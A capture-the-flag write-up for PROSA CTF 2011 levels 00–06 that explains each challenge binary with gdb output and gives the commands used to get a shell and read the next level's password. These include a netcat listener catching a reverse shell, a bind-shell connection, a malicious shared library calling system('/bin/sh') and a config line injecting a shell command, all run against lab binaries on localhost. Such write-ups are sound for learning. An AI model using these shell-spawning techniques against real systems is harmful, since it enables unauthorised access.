Challenge from PROSA CTF 2011
level00
$ gdb level01 (gdb) disas main Dump of assembler code for function main: 0x00000000004004f4 <+0>: push rbp 0x00000000004004f5 <+1>: mov rbp,rsp 0x00000000004004f8 <+4>: sub rsp,0x10 0x00000000004004fc <+8>: mov DWORD PTR [rbp-0x4],edi 0x00000000004004ff <+11>: mov QWORD PTR [rbp-0x10],rsi 0x0000000000400503 <+15>: cmp DWORD PTR [rbp-0x4],0x1 0x0000000000400507 <+19>: jle 0x40051c <main+40> 0x0000000000400509 <+21>: mov rax,QWORD PTR [rbp-0x10] 0x000000000040050d <+25>: add rax,0x8 0x0000000000400511 <+29>: mov rax,QWORD PTR [rax] 0x0000000000400514 <+32>: mov rdi,rax 0x0000000000400517 <+35>: call 0x400400 <system@plt> 0x000000000040051c <+40>: mov eax,0x0 0x0000000000400521 <+45>: leave 0x0000000000400522 <+46>: ret End of assembler dump.
This one simply calls system(argv[1]) if argc > 1, so ./level01 "cat level01.txt" leads to next level.
level01
If at least one argument is supplied to the program, the first argument is compared against whatever is on address 0x4006a9, and calls execve("/bin/sh", ["/bin/sh"], 0). (gdb) x/s 0x4006a9 reveals that the magic argument is fam4p894jgajg4h23.
$ ./level02 fam4p894jgajg4h23 bash-4.2$ cat level02.txt u5oey7VKvsSnPGu3zF
level02
This one creates a socket to the address and port specified by argument 1 and 2 to the program respectively, and then overwrite stdin, stdout and stderr with the socket and then executes a /bin/sh. So first set netcat up to listen on a port, nc.traditional -vv -l -p 1337, on another host/session and call ./level03 127.0.0.1 1337. Now fetch the password for next level from the netcat session:
$ nc.traditional -vv -l -p 1337 listening on [any] 1337 ... connect to [127.0.0.1] from localhost [127.0.0.1] 59019 cat level03.txt puUcxcVHFdc4mUcF8G
level03
This one is similar to the previous level, except that it binds a shell to the host and port supplied in the program arguments. So this time we run ./level04 127.0.0.1 1337 and connects to it from another session:
$ nc 127.0.0.1 1337 cat level04.txt 1oaJV4LNozqWAxzpgB
level04
This one calls dlopen(argv[1]) and calls the function “mystery_function” from the shared library. So lets make a library with this function and load it.
$ cd /tmp/
$ cat win.c
#include <stdlib.h>
void mystery_function() {
system("/bin/sh");
}
$ gcc -c -fPIC win.c -o win.o
$ gcc -shared -Wl,-soname,libwin.so.1 -o libwin.so.1.0.1 win.o
$ cd
$ ./level05 /tmp/libwin.so.1.0.1
$ cat level05.txt
bfnX60jzsiAU5XvNhJ
level05
This time the file argv[1] is read line by line. Each line is split by the character ‘=’ into A and B. Then a function trim is applied to first B then A and then handle(A,B) is called. Disassembling handle reveals that a call rdx is made, so lets take a closer look. The function does something like this:
if (A[0] != '#') {
for (i = 0; i <= 1; i++) {
if (strcmp(A, 0x601080+((i*3) << 3)) {
// do more
}
}
}
So are these strings? For two possible choices of i, A is compared to either (gdb) x/s 0x601080: "please_print" or (gdb) x/s 0x601080+24: "please_do". Check if please_do will do commands:
$ echo "please_do=/bin/sh" > /tmp/6.txt $ ./level06 /tmp/6.txt $ cat level06.txt UwvKom36jC2hhh2K0G
level06
This time the program takes to arguments A and B, a long integer and an integer. Then it sets the function a to be called when a SIGSEGV signal is send. It then calls the function recursive that decrements B until it is zero and then calls address specified in A. So if A is not a valid function pointer, this indeed leads to a segmentation fault.
The function a checks whether the difference between two addresses is between 1000 and 1099. Break on comparison to 0x3e8 and then run with different inputs, remember to continue on the first segmentation fault. You will then quickly see that the difference depends on the number of recursions.
$ for i in {0..100}; do ./level07 100 $i; done
$ cat level07.txt
8Svej8aJShJJN069o3